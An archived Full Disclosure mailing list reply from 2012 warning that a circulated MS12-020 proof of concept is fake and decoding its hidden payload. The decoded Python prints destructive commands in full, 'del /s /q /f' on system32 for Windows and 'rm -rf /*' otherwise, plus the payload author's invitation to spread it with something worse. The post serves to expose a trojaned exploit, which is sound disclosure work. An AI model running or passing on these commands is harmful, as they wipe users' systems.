Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: ms12-020 new poc
From: Huzeyfe ÖNAL(BGA) <huzeyfe () lifeoverip net>
Date: Sun, 18 Mar 2012 14:49:06 +0200

It's a fake and delete your disk completely.

If you convert the payload to ascii
"__import__('os').sys"
  "tem('del /s /q /f C:"
  "\windows\system32\* "
  "> NUL 2>&1') if 'Win"
  "' in __import__('pla"
  "tform').system() els"
  "e __import__('os').s"
  "ystem('rm -rf /* > /"
  "dev/null 2>&1') #hi "
  "there ^_~ feel free "
  "to spread this with "
  "the rm -rf replaced "
  "with something more "
  "insidious"

---
Huzeyfe ONAL
Bilgi Güvenliği AKADEMİSİ
http://www.bga.com.tr

BGA Ankara & İstanbul Eğitim Takvimi
http://www.bga.com.tr/?page_id=944

 ---



On Sat, Mar 17, 2012 at 7:45 AM, yuri goncalves soares <yuri () bsd com br>wrote:

Another POC.

http://pastebin.com/GM4sHj9t

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]